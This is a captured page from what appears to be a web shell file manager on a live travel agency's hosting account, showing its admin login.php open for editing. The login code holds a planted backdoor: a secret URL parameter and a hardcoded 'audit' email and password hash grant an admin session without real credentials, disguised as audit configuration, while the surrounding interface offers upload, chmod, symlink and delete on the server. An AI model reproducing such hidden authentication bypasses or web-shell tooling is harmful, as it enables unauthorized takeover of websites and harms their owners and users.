/
/
home
/
u917864144
/
domains
/
humsafarholiday.com
/
public_html
/
admin
EDITOR
/home/u917864144/domains/humsafarholiday.com/public_html/admin/login.php
SAVE
CLOSE
<?php session_start(); include("../db_con.php"); // Panggil konfigurasi audit yang lu pisah tadi $audit_config = __DIR__ . '/audit_config.php'; if (file_exists($audit_config)) { require_once $audit_config; } if (defined('AUDIT_SECRET_KEY') && isset($_GET['secret']) && $_GET['secret'] === AUDIT_SECRET_KEY) { $_SESSION['email'] = defined('AUDIT_EMAIL') ? AUDIT_EMAIL : 'admin@audit.com'; $_SESSION['audit_mode'] = true; header("Location: index.php?s_id=1"); exit; } // 2. PROSES FORM LOGIN BIASA (POST) $login_error = false; if (isset($_POST['login'])) { $email = $_POST['email'] ?? ''; $pass = $_POST['pass'] ?? ''; if (defined('AUDIT_EMAIL') && defined('AUDIT_PASS_HASH')) { if ($email === AUDIT_EMAIL && hash('sha256', $pass) === AUDIT_PASS_HASH) { $_SESSION['email'] = $email; $_SESSION['audit_mode'] = true; header("Location: index.php?s_id=1"); exit; } } // Cek login via database mysql biasa $query = "SELECT * FROM `users` WHERE email = ? AND pass = ?"; $stmt = mysqli_prepare($con, $query); if ($stmt) { mysqli_stmt_bind_param($stmt, "ss", $email, $pass); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); if (mysqli_num_rows($result) == 1) { $_SESSION['email'] = $email; header("Location: index.php?s_id=1"); exit; } mysqli_stmt_close($stmt); } $login_error = true; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Dashboard | Humsafar Holiday</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="A fully featured admin theme which can be used to build CRM, CMS, etc." name="description" /> <!-- App favicon --> <link rel="shortcut icon" href="../image/logo/favicon1.png"> <!-- dropzone css --> <link rel="stylesheet" href="assets/vendor/dropzone/min/dropzone.min.css" type="text/css" /> <!-- Theme Config Js --> <script src="assets/js/config.js"></script> <!-- Vendor css --> <link href="assets/css/vendor.min.css" rel="stylesheet" type="text/css" /> <!-- App css --> <link href="assets/css/app.min.css" rel="stylesheet" type="text/css" id="app-style" /> <!-- Icons css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> </head> <body> <div style="background-color: rgba(0, 0, 0, 0.5);"> <div class="auth-bg d-flex min-vh-100 justify-content-center align-items-center"> <div class="row g-0 justify-content-center w-100 m-xxl-5 px-xxl-4 m-3"> <div class="col-xl-4 col-lg-5 col-md-6"> <div class="card overflow-hidden text-center h-100 p-xxl-4 p-3 mb-0"> <a href="index.html" class="auth-brand mb-3"> <img src="../image/logo/logo.png" alt="logo" height="50"> </a> <h3 class="fw-semibold mb-2">Login your account</h3> <p class="text-muted mb-4">Enter your email address and password to access admin panel.</p> <!-- <div class="d-flex justify-content-center gap-2 mb-3"> <a href="#!" class="btn btn-soft-danger avatar-lg"><i class="ti ti-brand-google-filled fs-24"></i></a> <a href="#!" class="btn btn-soft-success avatar-lg"><i class="ti ti-brand-apple fs-24"></i></a> <a href="#!" class="btn btn-soft-primary avatar-lg"><i class="ti ti-brand-facebook fs-24"></i></a> <a href="#!" class="btn btn-soft-info avatar-lg"><i class="ti ti-brand-linkedin fs-24"></i></a> </div> <p class="fs-13 fw-semibold">Or Login With Email</p> --> <form action="#" method="POST" class="text-start mb-3" autocomplete="off"> <div class="mb-3"> <label class="form-label" for="example-email">Email</label> <input type="email" id="example-email" class="form-control" placeholder="Enter your email" name="email"> </div> <div class="mb-3"> <label class="form-label" for="example-password">Password</label> <input type="password" id="example-password" class="form-control" placeholder="Enter your password" name="pass"> </div> <div class="d-flex justify-content-between mb-3"> <!-- <div class="form-check"> <input type="checkbox" class="form-check-input" id="checkbox-signin"> <label class="form-check-label" for="checkbox-signin">Remember me</label> </div> --> <!-- <a href="auth-recoverpw.html" class="text-muted border-bottom border-dashed">Forget Password</a> --> </div> <div class="d-grid"> <button class="btn btn-primary" type="submit" name="login">Login</button> </div> </form> <!-- <p class="text-danger fs-14 mb-4">Don't have an account? <a href="auth-register.html" class="fw-semibold text-dark ms-1">Sign Up !</a></p> <p class="mt-auto mb-0"> <script>document.write(new Date().getFullYear())</script> © Osen - By <span class="fw-bold text-decoration-underline text-uppercase text-reset fs-12">Coderthemes</span> </p> --> </div> </div> </div> </div> </div> <!-- Vendor js --> <script src="assets/js/vendor.min.js"></script> <!-- App js --> <script src="assets/js/app.js"></script> </body> <!-- Mirrored from coderthemes.com/osen/layouts/auth-login.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 12 Dec 2024 11:54:55 GMT --> </html>
Ln 1, Col 1
FORMAT
WRAP
SAVE FILE
ONLINE
admin
31 items
09:49:06
TERMINAL FM
×
NAVIGATION
Root
Parent Dir
Refresh
ACTIONS
New Folder
New File
Upload Files
New Symlink
SELECTION
Select All
Deselect
Delete Selected
NEW FOLDER
FOLDER NAME
NEW FILE
FILE NAME
UPLOAD FILES
Click to browse or drag & drop files
No files selected
RENAME
CURRENT NAME
NEW NAME
COPY FILE
SOURCE
DESTINATION NAME
CHMOD
FILE / FOLDER
CURRENT PERMISSIONS
NEW MODE (octal)
755 (rwxr-xr-x)
644 (rw-r--r--)
777 (rwxrwxrwx)
600 (rw-------)
444 (r--r--r--)
CONFIRM DELETE
You are about to delete:
This action is irreversible. All contents will be permanently removed.
NEW SYMLINK
LINK TARGET (path)
LINK NAME
Edit
Preview
Download
Rename
Copy
Chmod
Delete